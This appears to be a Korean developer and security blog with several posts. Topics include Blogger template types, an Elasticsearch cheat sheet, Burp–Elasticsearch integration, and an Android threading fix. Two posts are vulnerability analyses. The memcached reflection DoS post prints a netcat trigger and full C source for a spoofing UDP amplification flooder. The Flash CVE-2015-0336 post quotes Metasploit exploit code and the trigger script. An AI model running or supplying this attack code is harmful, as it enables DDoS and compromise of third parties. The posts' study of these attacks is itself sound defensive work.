아카이브 타입은 url 끝부분이 "_archive.htm" 오는 경우에 해당됩니다. 이는 포스트나 페이지로도 쉽게 만들 수 있습니다. 글 작성할 때 에디터 우측에 링크 부분으로 페이지 주소를 미리 지정할 수 있죠.

<b:if cond = 'data:blog.pageType == &quot;archive&quot;'>
<h1>이 페이지는 archive 입니다 :)</h1>
</b:if>

게시글(포스트) 관련 타입들

블로거 고객센터쪽 글에 잘 정리되어 있습니다. 몇개 없는거 추가합니다.
(https://support.google.com/blogger/answer/47270?hl=ko)

- feedLinks: 이 페이지의 피드 목록입니다. 기본 페이지의 이 목록에는 기본 블로그 피드가 포함됩니다. 항목 페이지의 이 목록에는 댓글 피드도 포함됩니다. 이 목록의 각 항목에는 다음과 같은 데이터가 포함됩니다.
- url: 해당 페이지의 url
- name: 피드 이름입니다(예: '게시물' 또는 '댓글').
- FeedType: Atom 또는 RSS
- mimeType: 피드의 MIME 형식입니다.
- olderPageUrl: 기존 게시물이 있는 경우 해당 게시물의 URL입니다. 페이지 유형에 따라 다릅니다. 일부 페이지에는 이 링크가 없습니다.
- olderPageTitle: 기존 페이지 게시물에 대한 링크의 제목입니다.
- newerPageUrl: 최신 버전의 olderPageURL입니다.
- newerPageTitle: 최신 버전의 olderPageTitle입니다.
- commentLabel: 댓글의 수를 표시하는 데 사용하는 구문입니다.
- authorLabel: 작성자를 표시하는 데 사용하는 구문입니다(예: '작성자').
- timestampLabel: 게시물이 기록된 시기를 표시하는 데 사용하는 구문입니다(예: '게시 날짜').
- postLabelsLabel: 게시물 라벨의 목록을 표시하는 구문입니다(예: '이 게시물의 라벨').
- backlinksLabel: 게시물의 백링크를 설명하는 구문입니다(예: '이 게시물의 링크').
- posts: 이 페이지의 게시물 목록입니다. 각 게시물에는 다음과 같은 항목이 포함됩니다.
- dateHeader: 이 게시물의 날짜입니다. 목록에서 해당 날짜에 첫 번째로 게시된 경우에만 표시됩니다.
- id: postID입니다.
- title: 페이지 제목
- body: 본문
- author: 작성자 정보
- timestamp: 게시한 시간과 날짜입니다. 날짜 헤더와는 달리 모든 게시물에 표시됩니다.
- labels: 라벨의 목록입니다. 각 라벨에는 다음과 같은 항목이 포함됩니다.
- name: 라벨의 이름입니다.
- url: 이 라벨과 함께 블로그의 모든 게시물을 표시하는 페이지의 URL입니다.
- isLast: True 또는 False. 이 라벨이 목록에 표시되는 마지막 라벨인 경우에 포함됩니다.
- allowComments: 게시물에 댓글이 허용되면 'True'입니다.
- numComments: 이 게시물에 있는 댓글의 수입니다.
- showBacklinks: 게시물에 백링크가 표시되는지 여부를 나타냅니다.
- numBacklinks: 이 게시물에 대한 백링크의 수입니다.
- addCommentUrl: 이 게시물에 대한 '댓글 추가' URL입니다.
- emailPostUrl: 이 게시물에 대한 '이 게시물을 이메일로 전송' URL입니다.
- editUrl: 이 게시물에 대한 수정 형식의 URL입니다.
- feedLinks: 이 게시물과 관련된 피드의 목록입니다. 이 feedLinks에는 게시물 댓글에 대한 피드 등이 포함될 수 있기 때문에 전체 블로그 feedLinks와는 다릅니다. 각 feedLinks에는 다음과 같은 항목이 포함됩니다.
- url: 피드 URL입니다.
- name: 피드 이름입니다(예: '게시물' 또는 '댓글').
- feedType: 피드 유형입니다(Atom 또는 RSS).
- mimeType: 피드의 MIME 형식입니다.
- comments: 이 게시물에 대한 모든 댓글의 목록입니다(항목 페이지에만 표시됨). 각 comments에는 다음과 같은 항목이 포함됩니다.
- id: 댓글의 ID(숫자)입니다.
- body: 리뷰 본문입니다.
- timestamp: 댓글이 작성된 시간입니다.
- author: 표시 이름이 없으면 '익명'으로 표시됩니다.
- authorUrl: 댓글이 익명이 아닌 경우 댓글 작성자 프로필 URL입니다.
- deleteUrl: 댓글을 삭제할 URL입니다.
- isDeleted: 댓글이 삭제된 경우에 표시됩니다.

Reference

https://amprandom.blogspot.com/2017/01/7-blogger-pagetypes-most-used.html
https://support.google.com/blogger/answer/47270?hl=ko
Share: | Coffee Me:

3/11/2018

Elastic search 쿼리 정리(cheat sheet)


기본적으로 REST API와 유사합니다.

GET/POST/PUT/DELETE 등의 http 메소드로 기능에 따른 처리를 할 수 있으며 url의 각각 위치에 따라 index, type, column 으로 나누어 들어갈 수 있습니다.

GET: 조회
POSt: 수정
PUT: 추가
DELETE: 삭제


URI 규칙
index/type/column
http://localhost:9200/index/type/column

Cheat sheet



클러스터 상태 확인
#> curl -XGET 'localhost:9200/_cat/health'

노드정보
#> curl -XGET 'localhost:9200/_cat/nodes'

인덱스 목록 확인
#> curl -XGET 'localhost:9200/_cat/indices'

인덱스 생성/삭제

#> curl -XPUT 'localhost:9200/hahwul'
#> curl -XDELETE 'localhost:9200/hahwul'

Column 생성
#> curl -XPUT 'localhost:9200/hahwul/mysite/1' -d'
{
  "target": "www.hahwul.com"
}' -H 'Content-Type: application/json'

-H 옵션으로 Content-Type을 붙여준 이유는 ES 6.0 이후에는 Type을 정확하게 명시하도록 규정되어 있기 떄문이죠.

Column 수정
#> curl -XPOST 'localhost:9200/hahwul/mysite/1/_update' -d'
{
  "target": "www.hahwul.com"
}' -H 'Content-Type: application/json'


Column 삭제
#> curl -XDELETE 'localhost:9200/hahwul/mysite/1' -d'
{
  "target": "www.hahwul.com"
}' -H 'Content-Type: application/json'


데이터 조회
#> curl -XGET 'localhost:9200/hahwul/_search?q=*'



Reference

http://elasticsearch-cheatsheet.jolicode.com
https://iju707.gitbooks.io/elasticsearch/content/_list_all_indices.html

Share: | Coffee Me:

[HACKING] Bug Bounty를 위한 WASE(Web Audit Search Engine) 만들기 [2] - Burp suite와 Elastic search 연동하기

우선 burp bapps에 올라와 있는 extension 으로는 2가지가 있습니다. elastic burp와 report to elastic 입니다.

Burp extension for elastic search


1. Elastic Burp

Burp suite를 거쳐가는 데이터에 대해 ES로 데이터를 누적합니다.
https://github.com/PortSwigger/elastic-burp

python 코드로 jython 설치 후 extension 로드가 필요합니다.


2. Report to Elastic

정확하게 어떤 데이터를 수집하고 보내는지 명확하게 확인되지는 않습니다. 다만 에러없이 잘 동작합니다.

Java 기반이라 그냥 바로 로드됩니다. (어차피 대체로 jruby, jython은 설치되어 있으니 별 차이 없다고 생각드네요)

Elastic Burp 관련 문제

Connection 까진 잘 되지만.. 실제로 데이터를 전송하는 과정에서 에러가 발생합니다.



    raise HTTP_EXCEPTIONS.get(status_code, TransportError)(status_code, error_message, additional_info)
elasticsearch.exceptions.TransportError

에러가 발생하는데, 찾아보니 elastic-dsl.py 쪽에서 발생한 문제로 보입니다.
(https://github.com/elastic/elasticsearch-dsl-py/issues/441)

우선 당분간은 두 extension 사이 비교하면서 장단점 정리하고 선정해봐야곘네요. 비교 내용은 이글에 추가하도록 하겠습니다.

Share: | Coffee Me:

[HACKING] Bug Bounty를 위한 WASE(Web Audit Search Engine) 만들기 [1] - Elastic search와 ruby-rails

요즘들어 버그바운티에 대한 생각이 조금 깊어졌습니다. 일을 하는 것 이외에도 무언가 가치를 만들 수 있겠다라는 생각 때문이죠.
(그냥 돈을 더 벌고싶다고 그래 =_=)

그러나 안타깝게도 시간은 항상 제한적이고, 저의 시간은 매우 모자랍니다.
그래서.. VAHA(http://vaha.hahwul.com)에 이어 버그바운티를 도와줄 수 있는 도구를 구축해보려 합니다.

핵심 로직이나 아이디어는 공개하지 않을 것 같지만 그래도 전반적인 내용은 공유드리면서, 비슷한 고민을 하시는 분들에게 조금이나마 도움이 되길 바라는 마음입니다.

그럼 출발해보죠.

Background

우선 취약점 스캐너나 자동으로 찾아주는 방법에 대해서는 안하기로 마음먹었습니다. 아무리 그래도 장인 정신.. 아니 실제도로 툴보단 사람입니다. 툴로 발견할 수 있는 사항이라면 이미 다 보고되었겠죠. 지금까지 그래왔듯이 개인의 능력으로 승부를 보고, 대신 이를 보조해주는 무언가를 만들려고 합니다. 우선은 어떤 것들이 필요할까 정리해보았습니다.

 - Burp suite의 로그는 종료로 휘발되거나, 저장한다 한들 잘 활용하지 않는다
   (Burp에 많이 쌓인거 안좋아함)
 - 새로운 우회패턴에 대해 이전에 테스트한 페이지에 재 테스트를 하고싶다
 - 어떤 것이 나의 타겟인지 식별해야한다. (Burp 많이 쌓이면 아주 가독성이 안좋답니다)

이정도가 있을 것 같네요. 물론 더 있습니다만 노코멘트

이런 고민을 하다보니.. 예전에 개인적으로 해보고싶었던 PJT 와 연관되어 진행해보려고 합니다. 바로 Burp와 Elasticsearch(이하 ES)의 연동, 활용 부분인데요. 나름대로 쓸 수 있을 것 같아서 이런 구조로 그려보려 합니다.

구성

우선은 ES와 Burp의 연동, 그리고 rails를 통한 뷰어 환경 구축이 목표입니다. 키바나도 있고 ELK stack 써도 되는데 왜 rails 냐고 하면.. 움 그냥 제가 ruby 가 좋아서  그렇습니다.

직접 구현하고, 수정하고 필요한 부분은 만들어 쓰는게 더 좋을 것이란 판단입니다.

이런 형태의 그림이 되겠군요 :)

Elasticsearch 란?

사실 개념적인 부분만 잡고있던 ES입니다. 이참에 조금이라도 정리해보면 좋을까 내용 넣어보았습니다.

우선 ES는 분산형 RESTful 검색 및 분석 엔진입니다. 많은 양의 데이터를 가공하고 분석하여 좀 더 유의미한 결과를 뽑아내는게 목표이지요. 시각화도 굉장히 중요한 부분이구요.

ES를 알아가기 위해선 몇가지 개념을 익혀두는게 좋습니다. RDMS와 비교해서 보면 편안합니다.

index => database

type => table

document => row

field => column

Mapping => Schema


아래부터 올라가면서 보면 좋을 것 같은데,

Mapping은 RDB에선 Schema와 비슷한 개념입니다. 위의 인덱스, 도큐먼트 등의 규칙이 정의된다고 보시면 됩니다.

field는 column으로 보시면 좋습니다. ES 내에서는 JSON 포맷 내 각 프로퍼티 정도입니다.
document는 row이며 filed의 묶음 정도로 보면 좋습니다.
type은 rdb의 table의 대칭되며 field와 document를 포함합니다.

마지막으로 index 는 db라고 보시면 됩니다. 가장 큰 단위이지요.

Elasticsearch 설치하기


https://www.elastic.co/downloads/elasticsearch에서 직접 다운로드 받아서 설치해주세요.
6.2.2(현재 최신) 기준으론 아래와 같습니다.

#> wget https://artifacts.elastic.co/downloads/elasticsearch/elasticsearch-6.2.2.deb
#> dpkg -i elasticsearch-6.2.2.deb


elasticsearch rails 설치

rails랑 쉽게 붙이기 위해 elasticserach gem을 설치해줍니다.

#> gem install elasticsearch

우선 테스트를 해보면..



require 'elasticsearch'

def test()
 client = Elasticsearch::Client.new log: true
 client.cluster.health
 client.search q: 'hwul'
end

test()



잘되네요.

이제 rails 관련 gem으로 올려봅시다.

#> gem install elasticsearch-rails
#> gem install elasticsearch-model

elasticsearch-rails는 ror 문법으로 키바나 처럼 쉽게 웹 기반의 엔진 구축이 가능합니다.

require 'elasticsearch/model'

class Article < ActiveRecord::Base
  include Elasticsearch::Model
  include Elasticsearch::Model::Callbacks
end

Article.import
@articles = Article.search('foobar').records

위에는 샘플코드인데, MVC 작성하는데 크게 복잡하진 않습니다. 내용은 아래 git 주소 참고해주세요.

https://github.com/elastic/elasticsearch-rails


이런식으로 제공해주는 template 적용도 가능합니다.

#> rails new searchapp --skip --skip-bundle --template https://raw.github.com/elastic/elasticsearch-rails/master/elasticsearch-rails/lib/rails/templates/01-basic.rb

#> rails new searchapp --skip --skip-bundle --template https://raw.github.com/elastic/elasticsearch-rails/master/elasticsearch-rails/lib/rails/templates/02-pretty.rb

다만 여기서 제공해주는 template 사용 시 하나 문제가 발생하는데요.

apply  https://raw.github.com/elastic/elasticsearch-rails/master/elasticsearch-rails/lib/rails/templates/01-basic.rb
https://raw.github.com/elastic/elasticsearch-rails/master/elasticsearch-rails/lib/rails/templates/01-basic.rb:39:in `apply': uninitialized constant #<Class:#<Rails::Generators::AppGenerator:0x00555fe6349c70>>::JSON (NameError)

요런 문제가 발생하는데.. 저만 나타나는 문제가 아니더군요. 설마 또 버전 관련 문제인지.. 아무튼 아래 이슈 참고해주세요.

https://github.com/elastic/elasticsearch-rails/issues/313


Reference

https://www.elastic.co/kr/products/elasticsearch
https://github.com/elastic/elasticsearch-rails
https://github.com/platanus/elastic-rails
Share: | Coffee Me:

3/09/2018

[HACKING] Memcached reflection DOS attack 분석

요즘 memcached 서버 DOS 취약점으로 잠깐 시끌벅적했습니다. 어제 새벽 pastebin에 C기반 PoC 코드랑 shodan에서 조회한 서버 내역이 올라왔는데요. 오늘은 그 내용 가지고 글 좀 써볼까 합니다.



DΛNIΞL이 twit 올린거 보고 훑어봤는데, 부담가지 않는 내용인 것 같네요.

https://twitter.com/hypoweb/status/971325506858700800


Memcached?

Memcached는 범용 분산 메모리 캐싱 시스템입니다. 일반적으로 DB의 부하를 줄이고 동적 웹 어플리케이션의 속도 향상을 위해 사용되죠. 오픈소스 소프트웨어이며 Data나 Object를 RAM에 캐싱하는 방식으로 많이 사용됩니다.
(라고 작년초에 포스팅했었네요)

아래 링크 참고해주세요 (절대 쓰기 귀찮아서 그런거 아님)
http://www.hahwul.com/2017/02/debian-intro-memcahed-and-accessing.html


Memcached reflection DOS attack

원래 memcached는 메모리 캐싱을 위한 시스템이라 원격 연결이 필요 없을 것 같지만(제 생각, 아닐지도.. 필요하니깐 만들었으려나) 11211 포트를 통해 TCP/UDP 통신을 지원합니다. (아마 원격 디버깅 때문인가..)

아무튼 11211 포트는 여러가지 명령들을 통해 memcached 내 데이터를 가져오거나 할 수 있습니다. 이 과정을 역이용하여 다른 서버로 큰 요청(얻어낸 데이터들을 통째로)을 전송하게 됩니다.

예를들면 memcached 서버로 stats 명령을 날리게되면 메모리 데이터, 키 관련 데이터들을 뿜어내게 됩니다. 이 과정에서 공격자가 자신의 IP를 피해자의 서버로 변조한 후 요청을 발생시키면 memcached 서버는 피해자 서버로 메모리 데이터를 전송하게 됩니다.

이러한 방식을 통해 이론적으로 일반적인 요청의 5만배까지 끌어올릴 수 있다고 하네요.

이번 memcached reflection attack에서도 stats, get  등을 이용해서 공격을 수행하게 됩니다. 초기에 올라왔던 PoC인데요. 잘보면 memcached 서버측(11211 포트)으로 stats 를 전송하는 단순한 코드입니다.

python -c "print '\0\x01\0\0\0\x01\0\0stats\r\n'" |nc -nvvu
192.168.56.105 11211 > /tmp/null

(아래는 memcached 11211 명령 / https://lzone.de/cheat-sheet/memcached)
CommandDescriptionExample
getReads a valueget mykey
setSet a key unconditionallyset mykey 0 60 5

# Meaning:
0 = > no flags
60 => TTL in [s]
5 => size in byte

Ensure to use \r\n als line breaks when using
Unix CLI tools. For example

printf "set mykey 0 60 4\r\ndata\r\n" |\
nc localhost 11211
addAdd a new keyadd newkey 0 60 5
replaceOverwrite existing keyreplace key 0 60 5
appendAppend data to existing keyappend key 0 60 15
prependPrepend data to existing keyprepend key 0 60 15
incrIncrements numerical key value
by given number
incr mykey 2
decrDecrements numerical key value
by given number
decr mykey 5
deleteDeletes an existing keydelete mykey
flush_allInvalidate specific items immediatelyflush_all
Invalidate all items in n secondsflush_all 900
statsPrints general statisticsstats
Prints memory statisticsstats slabs
Prints memory statisticsstats malloc
Print higher level allocation statisticsstats items
stats detail
stats sizes
Dump keys is a slab classstats cachedump
Resets statisticsstats reset
versionPrints server version.version
verbosityIncreases log levelverbosity
quitTerminate telnet sessionquit


PoC code 분석

위에서 봤던 핵심 부분은 setup_udp_header 함수입니다.

void setup_udp_header(struct udphdr *udph)
{
	udph->source = htons(5678);
	udph->dest = htons(11211);
	udph->check = 0;
	memcpy((void *)udph + sizeof(struct udphdr), "\x00\x01\x00\x00\x00\x01\x00\x00stats\r\n", 15);
// 바로 이곳입니다. 위에서 봤던 python 코드랑 똑같죠
//
	udph->len=htons(sizeof(struct udphdr) + 15);
}

stats 명령으로 캐시 데이터를 한번에 얻어오죠. 나머지 부분은 주말에 작성하도록 할게요
(피곤..)

#include <time.h>
#include <pthread.h>
#include <unistd.h>
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <sys/socket.h>
#include <netinet/ip.h>
#include <netinet/udp.h>
#include <arpa/inet.h>
#define MAX_PACKET_SIZE 8192
#define PHI 0x9e3779b9
static uint32_t Q[4096], c = 362436;
struct list
{
	struct sockaddr_in data;
	struct list *next;
	struct list *prev;
};
struct list *head;
volatile int tehport;
volatile int limiter;
volatile unsigned int pps;
volatile unsigned int sleeptime = 100;
struct thread_data{ int thread_id; struct list *list_node; struct sockaddr_in sin; };
void init_rand(uint32_t x)
{
	int i;
	Q[0] = x;
	Q[1] = x + PHI;
	Q[2] = x + PHI + PHI;
	for (i = 3; i < 4096; i++)
	{
	Q[i] = Q[i - 3] ^ Q[i - 2] ^ PHI ^ i;
	}
}
uint32_t rand_cmwc(void)
{
	uint64_t t, a = 18782LL;
	static uint32_t i = 4095;
	uint32_t x, r = 0xfffffffe;
	i = (i + 1) & 4095;
	t = a * Q[i] + c;
	c = (t >> 32);
	x = t + c;
	if (x < c) {
	x++;
	c++;
	}
	return (Q[i] = r - x);
}
unsigned short csum (unsigned short *buf, int nwords)
{
	unsigned long sum = 0;
	for (sum = 0; nwords > 0; nwords--)
	sum += *buf++;
	sum = (sum >> 16) + (sum & 0xffff);
	sum += (sum >> 16);
	return (unsigned short)(~sum);
}
void setup_ip_header(struct iphdr *iph)
{
	iph->ihl = 5;
	iph->version = 4;
	iph->tos = 0;
	iph->tot_len = sizeof(struct iphdr) + sizeof(struct udphdr) + 15;
	iph->id = htonl(54321);
	iph->frag_off = 0;
	iph->ttl = MAXTTL;
	iph->protocol = IPPROTO_UDP;
	iph->check = 0;
	iph->saddr = inet_addr("192.168.3.100");
}
void setup_udp_header(struct udphdr *udph)
{
	udph->source = htons(5678);
	udph->dest = htons(11211);
	udph->check = 0;
	memcpy((void *)udph + sizeof(struct udphdr), "\x00\x01\x00\x00\x00\x01\x00\x00stats\r\n", 15);
// 바로 이곳입니다. 위에서 봤던 python 코드랑 똑같죠
//
	udph->len=htons(sizeof(struct udphdr) + 15);
}
void *flood(void *par1)
{
	struct thread_data *td = (struct thread_data *)par1;
	char datagram[MAX_PACKET_SIZE];
	struct iphdr *iph = (struct iphdr *)datagram;
	struct udphdr *udph = (/*u_int8_t*/void *)iph + sizeof(struct iphdr);
	struct sockaddr_in sin = td->sin;
	struct  list *list_node = td->list_node;
	int s = socket(PF_INET, SOCK_RAW, IPPROTO_TCP);
	if(s < 0){
	fprintf(stderr, "Could not open raw socket.\n");
	exit(-1);
	}
	init_rand(time(NULL));
	memset(datagram, 0, MAX_PACKET_SIZE);
	setup_ip_header(iph);
	setup_udp_header(udph);
	udph->source = htons(rand() % 65535 - 1026);
	iph->saddr = sin.sin_addr.s_addr;
	iph->daddr = list_node->data.sin_addr.s_addr;
	iph->check = csum ((unsigned short *) datagram, iph->tot_len >> 1);
	int tmp = 1;
	const int *val = &tmp;
	if(setsockopt(s, IPPROTO_IP, IP_HDRINCL, val, sizeof (tmp)) < 0){
	fprintf(stderr, "Error: setsockopt() - Cannot set HDRINCL!\n");
	exit(-1);
	}
	init_rand(time(NULL));
	register unsigned int i;
	i = 0;
	while(1){
		sendto(s, datagram, iph->tot_len, 0, (struct sockaddr *) &list_node->data, sizeof(list_node->data));
		list_node = list_node->next;
		iph->daddr = list_node->data.sin_addr.s_addr;
		iph->id = htonl(rand_cmwc() & 0xFFFFFFFF);
		iph->check = csum ((unsigned short *) datagram, iph->tot_len >> 1);
		
		pps++;
		if(i >= limiter)
		{
			i = 0;
			usleep(sleeptime);
		}
		i++;
	}
}
int main(int argc, char *argv[ ])
{
	if(argc < 6){
	fprintf(stderr, "Invalid parameters!\n");
	fprintf(stdout, "Usage: %s <target IP> <port> <reflection file> <threads> <pps limiter, -1 for no limit> <time>\n", argv[0]);
		exit(-1);
	}
	srand(time(NULL));
	int i = 0;
	head = NULL;
	fprintf(stdout, "Setting up sockets...\n");
	int max_len = 128;
	char *buffer = (char *) malloc(max_len);
	buffer = memset(buffer, 0x00, max_len);
	int num_threads = atoi(argv[4]);
	int maxpps = atoi(argv[5]);
	limiter = 0;
	pps = 0;
	int multiplier = 20;
	FILE *list_fd = fopen(argv[3],  "r");
	while (fgets(buffer, max_len, list_fd) != NULL) {
		if ((buffer[strlen(buffer) - 1] == '\n') ||
				(buffer[strlen(buffer) - 1] == '\r')) {
			buffer[strlen(buffer) - 1] = 0x00;
			if(head == NULL)
			{
				head = (struct list *)malloc(sizeof(struct list));
				bzero(&head->data, sizeof(head->data));
				head->data.sin_addr.s_addr=inet_addr(buffer);
				head->next = head;
				head->prev = head;
			} else {
				struct list *new_node = (struct list *)malloc(sizeof(struct list));
				memset(new_node, 0x00, sizeof(struct list));
				new_node->data.sin_addr.s_addr=inet_addr(buffer);
				new_node->prev = head;
				new_node->next = head->next;
				head->next = new_node;
			}
			i++;
		} else {
			continue;
		}
	}
	struct list *current = head->next;
	pthread_t thread[num_threads];
	struct sockaddr_in sin;
	sin.sin_family = AF_INET;
	sin.sin_addr.s_addr = inet_addr(argv[1]);
	struct thread_data td[num_threads];
	for(i = 0;i<num_threads;i++){
		td[i].thread_id = i;
		td[i].sin= sin;
		td[i].list_node = current;
		pthread_create( &thread[i], NULL, &flood, (void *) &td[i]);
	}
	fprintf(stdout, "Starting flood...\n");
	for(i = 0;i<(atoi(argv[6])*multiplier);i++)
	{
		usleep((1000/multiplier)*1000);
		if((pps*multiplier) > maxpps)
		{
			if(1 > limiter)
			{
				sleeptime+=100;
			} else {
				limiter--;
			}
		} else {
			limiter++;
			if(sleeptime > 25)
			{
				sleeptime-=25;
			} else {
				sleeptime = 0;
			}
		}
		pps = 0;
	}
	return 0;
}

이외에도 언어별로 PoC 가 많이 올라온 상태입니다.

Conclusion

memcached 서버측에선 memcached 서버를 인터넷망에 연결시키지 않고 기본포트 변경 처리 (11211 -> ?????) 하는것으로 어느정도 대응되지 않을까 싶습니다.

DOS 대응(이 부분은 제 분야는 아니라 확실치는 않습니다만.. )으론 kill switch 라고 올라오는 내용들이 있는데, 충분히 일리있는 부분이여서 어떨까 싶습니다.

트래픽을 발생시키는 memcacehd 서버측으로 캐시를 날려주는 명령을 던져서 리턴되는 데이터의 양을 줄이는 방법이죠.

http://www.boannews.com/media/view.asp?idx=67356&kind=1


마지막으로 pastebin에 memcached 사용중인 서버 리스트가 올라왔느데.. 무지 많네요.
저러니 DOS 트래픽 양이..

https://pastebin.com/raw/eSCHTTVu


Reference

https://pastebin.com/raw/ZiUeinae
https://pastebin.com/raw/eSCHTTVu
https://twitter.com/hypoweb/status/971326135975006209
https://thehackernews.com/2018/02/memcached-amplification-ddos.html
http://powerofcommunity.net/poc2017/shengbao.pdf
https://lzone.de/cheat-sheet/memcached
http://www.hahwul.com/2017/02/debian-intro-memcahed-and-accessing.html
Share: | Coffee Me:

3/08/2018

[CODING] Android "Only the original thread that created a view hierarchy can touch its views." 에러 해결방법

안드로이드의 UI를 변경할 때 간혹 이런 에러가 발생합니다.

Code
public void changeTextView(String ttext){
 textView.setText(text);
}

Error
android.view.ViewRootImpl$CalledFromWrongThreadException: Only the original thread that created a view hierarchy can touch its views.

원인은 사용자 인터페이스와 관련된 모든 동작은 onCreate () 및 이벤트 처리가 실행되는 주 스레드 또는 UI 스레드에서 수행되어야 하는데, 다른 스레드에서 동작할 때 이런 에러가 발생합니다. runOnUiThread를 사용하거나 Handlers를 사용해서 해결이 가능합니다.

public void changeTextView(String ttext){
 runOnUiThread(new Runnable() {
  public void run() {
   textView.setText(text);
  }
 });
}

Reference

https://stackoverflow.com/questions/5161951/android-only-the-original-thread-that-created-a-view-hierarchy-can-touch-its-vi
Share: | Coffee Me:

3/05/2018

[HACKING] Adobe Flash Player NetConnection Type Confusion(CVE-2015-0336) 분석

오랜만에 취약점 분석글을 작성합니다. 별다른건 아니고 x90c와 메일로 이야기하던 건이 있는데, 퇴근길에 보다보니 포스팅거리가 되어버렸네요.
(아깝잖아요..)

오늘 포스팅할 글은 2015년도 Adobe Flash Player에서의 Type Confusion 취약점입니다.


Type Confusion? 

우선 Type Confusion에 대해 정리하고 갈까 합니다. 직역하면 타입 혼동?
단순하게 보면 Type을 혼동해서 발생할 수 있는 문제로 인지하면 좋습니다.


아래와 같은 코드에 i가 어떤 값일 때 zz이 프린트 될까요?

// input i : ??

if(i==1)
{
   printf("zz");
}

작성자의 의도는 1이겠지만, 실제로는 bool 자료형인 true, char인 영어 알파벳(각각 알파벳의 해당하는 숫자값을 가지기 때문에) 등등 여러가지가 있을겁니다.
이런 유형의 취약점을 의미합니다. 케이스에 따라 범위가 굉장히 넓어질 수도 있겠지요.

NetConnection? 

우선 ActionScript에서 사용되는 NetConnection에 대해 간략하게 정리해봅시다. 어도비 홈에 잘 나와있습니다.
(https://help.adobe.com/ko_KR/FlashPlatform/reference/actionscript/3/flash/net/NetConnection.html)

이름 그대로 클라이언트와 서버 간에 양방향 연결을 만드는 클래스입니다.

관련 API 요소
 - client
 - NetStream
 - connect()
 - flash.net.Responder

공격코드 거꾸로 파헤치기 1 - Exploit code 

여러 아티클들을 읽어보면 flash player에서 type confusion 이 발생한다고 하는데요, 거꾸로 보는 것도 재미있는 놀이거리입니다.

우선 공개된 Exploit code는 Metasploit module 입니다.
(https://www.exploit-db.com/exploits/36962/)

코드가 길진 않습니다.

 def exploit_template(cli, target_info)
    swf_random = "#{rand_text_alpha(4 + rand(3))}.swf"
    target_payload = get_payload(cli, target_info)
    psh_payload = cmd_psh_payload(target_payload, 'x86', {remove_comspec: true})
    b64_payload = Rex::Text.encode_base64(psh_payload)

    trigger_hex_stream = @trigger.unpack('H*')[0]

    html_template = %Q|<html>
    <body>
    <object classid="clsid:d27cdb6e-ae6d-11cf-96b8-444553540000" codebase="http://download.macromedia.com/pub/shockwave/cabs/flash/swflash.cab" width="1" height="1" />
    <param name="movie" value="<%=swf_random%>" />
    <param name="allowScriptAccess" value="always" />
    <param name="FlashVars" value="sh=<%=b64_payload%>&tr=<%=trigger_hex_stream%>" />
    <param name="Play" value="true" />
    <embed type="application/x-shockwave-flash" width="1" height="1" src="<%=swf_random%>" allowScriptAccess="always" FlashVars="sh=<%=b64_payload%>&tr=<%=trigger_hex_stream%>" Play="true"/>
    </object>
    </body>
    </html>
    |

    return html_template, binding()
  end

일반적인 swf 로드 구문입니다. 다만 잘 봐야할건, swf의 인자값 중 tr에 trigger_hex_stream 을 전달해줍니다.

trigger_hex_stream = @trigger.unpack('H*')[0]

=>

exploit 함수 내
@trigger = create_trigger

=>

def create_trigger
    path = ::File.join(Msf::Config.data_directory, 'exploits', 'CVE-2015-0336', 'trigger.swf')
    swf =  ::File.open(path, 'rb') { |f| swf = f.read }

    swf
end

결국은 create_trigger에서 만들어진 파일이 tr로 넘어가게 됩니다. create_trigger를 보면.. Msf::Config.data_directory에서 CVE-2015-0336 내 trigger.swf를 불러옵니다.
그럼.. trigger.swf를 봐볼까요?

공격코드 거꾸로 파헤치기 2 - Vulnerable point 

문제가 발생한 trigger.swf 파일입니다.

trigger.swf
class Main
{
   function Main()
   {
   }
   static function main(swfRoot)
   {
      var _loc3_ = _global.ASnative(2100,-1788076032);  // _loc3은 NetConnection 이 아님
                                                        // 훗날 AS 엔진이 이 주소의 데이터를 참조하려 함
      var _loc4_ = new Object();
      _loc3_.__proto__ = _loc4_; // _loc3의 proto는 _loc4로 저장
      _global.ASnative(2100,200)(_loc4_);   // new NetConnection (_loc4 는 객체를 할당받음)
      _global.ASnative(2100,8).apply(_loc3_,[1]);  //
   }
}

내용이 별다른건 없고, 여기에 문제가된 코드가 존재합니다. 우선 ASnative 함수에 대해 알고가야합니다.
ASnative는 ActionScript에서 native한 실행? 을 위해 사용되고, 인자값으로 들어가는 숫자에 따라 수행되는 함수가 달라집니다.

e.g

t = ASnative(100, 4); // trace
function t("hi"); // output: hi

예시로 ASnative 의 100 인자값은 trace 를 의미합니다. 그래서 두번째 줄의 코드가 실행될 때 trace 함수가 호출됩니다.

다시 돌아와서, 지금은 모두 앞에 2100이란 숫자가 넘어가고 이는 NetConnection을 의미합니다.

그럼 처음부터 보면, _loc3에 ASnative 인자값으로 2100, -1788076032의 값을 넘깁니다.
재미있는 점은 두번째 인자값이 -1788076032과 같이 정의된 숫자가 아닐 경우 비정상적인 객체를 받게됩니다. (결국은 NetConnection이 아니란 소리)

_loc4 에 Object를 할당하고, _loc3의 proto에 _loc4를 넣어줍니다. 그 다음 ASnative로 (2100, 200) _loc4는 NetConnection type으로 초기화합니다.
다음줄에 NetConnection에 _loc3를 apply하여 NetConnection 객체로 사용하지만 _loc3은 NetConnection type이 아닙니다. 그래서 비정상적인 Type이 강제로 들어가있는 상태입니다.

이런 상태로 프로그램이 동작하게 되면 Crash가 나게되는데, 이를 따라가면 크래시 포인트를 찾을 수 있습니다.

7061f9b2 8b4f7c mov ecx, dword ptr [edi + 7Ch] ds : 002b : 1a1e207c = ????????

코드만 보고 작성하는지라, 내용이 좀 다르겠지만... 크래시 포인트의 1a1e207c 주소값과 처음 인자값으로 넘긴 -1788076032의 위치가 거의 유사하게 나타납니다.
ASEngine에선 생각도 못한 부분이겠죠. 그래서 공격자가 처음 var _loc3_ = _global.ASnative(2100,-1788076032); 구문을 이용해서 edi 값의 위치를 제어할 수 있어집니다.

이후에 자세한 내용은 이 글 참고하시면 좋습니다.
https://cloudblogs.microsoft.com/microsoftsecure/2015/06/17/understanding-type-confusion-vulnerabilities-cve-2015-0336/

공격코드 거꾸로 파헤치기 3 - Payloads..


실제 공격코드가 돌아가는 msf.swf 를 보면..

msf.swf
>  trigger_swf = LoaderInfo(this.root.loaderInfo).parameters.tr;
         var _loc2_:ByteArray = createByteArray(trigger_swf);
         _loc2_.endian = "littleEndian";
         _loc2_.position = 0;
         var _loc3_:Loader = new Loader();
         _loc3_.loadBytes(_loc2_);
         interval_id = setTimeout(do_exploit,2000);
        
